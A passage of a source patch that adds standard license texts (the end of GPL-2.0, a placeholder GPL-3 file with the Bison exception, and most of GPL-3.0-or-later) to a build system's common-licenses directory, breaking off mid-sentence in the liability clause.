+such an announcement, your work based on the Program is not required to print
+an announcement.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Program, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Program, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Program.
+
+In addition, mere aggregation of another work not based on the Program with
+the Program (or with a work based on the Program) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section
+2) in object code or executable form under the terms of Sections 1 and 2 above
+provided that you also do one of the following:
+
+a) Accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Sections 1 and 2 above on a medium
+customarily used for software interchange; or,
+
+b) Accompany it with a written offer, valid for at least three years, to give
+any third party, for a charge no more than your cost of physically performing
+source distribution, a complete machine-readable copy of the corresponding
+source code, to be distributed under the terms of Sections 1 and 2 above on
+a medium customarily used for software interchange; or,
+
+c) Accompany it with the information you received as to the offer to distribute
+corresponding source code. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making
+modifications to it. For an executable work, complete source code means all
+the source code for all modules it contains, plus any associated interface
+definition files, plus the scripts used to control compilation and installation
+of the executable. However, as a special exception, the source code distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+If distribution of executable or object code is made by offering access to
+copy from a designated place, then offering equivalent access to copy the
+source code from the same place counts as distribution of the source code,
+even though third parties are not compelled to copy the source along with
+the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except
+as expressly provided under this License. Any attempt otherwise to copy, modify,
+sublicense or distribute the Program is void, and will automatically terminate
+your rights under this License. However, parties who have received copies,
+or rights, from you under this License will not have their licenses terminated
+so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Program or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Program
+(or any work based on the Program), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein. You are not responsible for enforcing compliance
+by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Program at all. For example, if a
+patent license would not permit royalty-free redistribution of the Program
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply and
+the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system, which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Program under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of this License, you may choose
+any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+ NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and an idea of what it does.>
+
+Copyright (C) <yyyy> <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 51 Franklin
+Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(which makes passes at compilers) written by James Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General
+Public License does not permit incorporating your program into proprietary
+programs. If your program is a subroutine library, you may consider it more
+useful to permit linking proprietary applications with the library. If this
+is what you want to do, use the GNU Lesser General Public License instead
+of this License.
diff --git a/meta/files/common-licenses/GPL-3-with-bison-exception b/meta/files/common-licenses/GPL-3-with-bison-exception
new file mode 100644
index 0000000000..d48c6241ac
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3-with-bison-exception
@@ -0,0 +1,7 @@
+
+insert GPL v3 text here
+
+Bison Exception
+As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn`t itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception.
+This special exception was added by the Free Software Foundation in version 2.2 of Bison.
+
diff --git a/meta/files/common-licenses/GPL-3.0 b/meta/files/common-licenses/GPL-3.0-only
index e0665a64a8..e0665a64a8 100644
--- a/meta/files/common-licenses/GPL-3.0
+++ b/meta/files/common-licenses/GPL-3.0-only
diff --git a/meta/files/common-licenses/GPL-3.0-or-later b/meta/files/common-licenses/GPL-3.0-or-later
new file mode 100644
index 0000000000..e142a525bd
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3.0-or-later
@@ -0,0 +1,625 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU General Public License is a free, copyleft license for software and
+other kinds of works.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, the GNU General
+Public License is intended to guarantee your freedom to share and change all
+versions of a program--to make sure it remains free software for all its users.
+We, the Free Software Foundation, use the GNU General Public License for most
+of our software; it applies also to any other work released this way by its
+authors. You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights
+or asking you to surrender the rights. Therefore, you have certain responsibilities
+if you distribute copies of the software, or if you modify it: responsibilities
+to respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must pass on to the recipients the same freedoms that you received.
+You must make sure that they, too, receive or can get the source code. And
+you must show them these terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert
+copyright on the software, and (2) offer you this License giving you legal
+permission to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that
+there is no warranty for this free software. For both users' and authors'
+sake, the GPL requires that modified versions be marked as changed, so that
+their problems will not be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified
+versions of the software inside them, although the manufacturer can do so.
+This is fundamentally incompatible with the aim of protecting users' freedom
+to change the software. The systematic pattern of such abuse occurs in the
+area of products for individuals to use, which is precisely where it is most
+unacceptable. Therefore, we have designed this version of the GPL to prohibit
+the practice for those products. If such problems arise substantially in other
+domains, we stand ready to extend this provision to those domains in future
+versions of the GPL, as needed to protect the freedom of users.
+
+Finally, every program is threatened constantly by software patents. States
+should not allow patents to restrict development and use of software on general-purpose
+computers, but in those that do, we wish to avoid the special danger that
+patents applied to a free program could make it effectively proprietary. To
+prevent this, the GPL assures that patents cannot be used to render the program
+non-free.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those subprograms and
+other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent license to downstream recipients. "Knowingly relying"
+means you have actual knowledge that, but for the patent license, your conveying
+the covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that country
+that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may not convey it at all.
+For example, if you agree to terms that obligate you to collect a royalty
+for further conveying from those to whom you convey the Program, the only
+way you could satisfy both those terms and this License would be to refrain
+entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU Affero General Public License into a single combined work, and to convey
+the resulting work. The terms of this License will continue to apply to the
+part which is the covered work, but the special requirements of the GNU Affero
+General Public License, section 13, concerning interaction through a network
+will apply to the combination as such.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU General Public License "or any
+later version" applies to it, you have the option of following the terms and
+conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU General Public License, you may choose any version ever
+published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
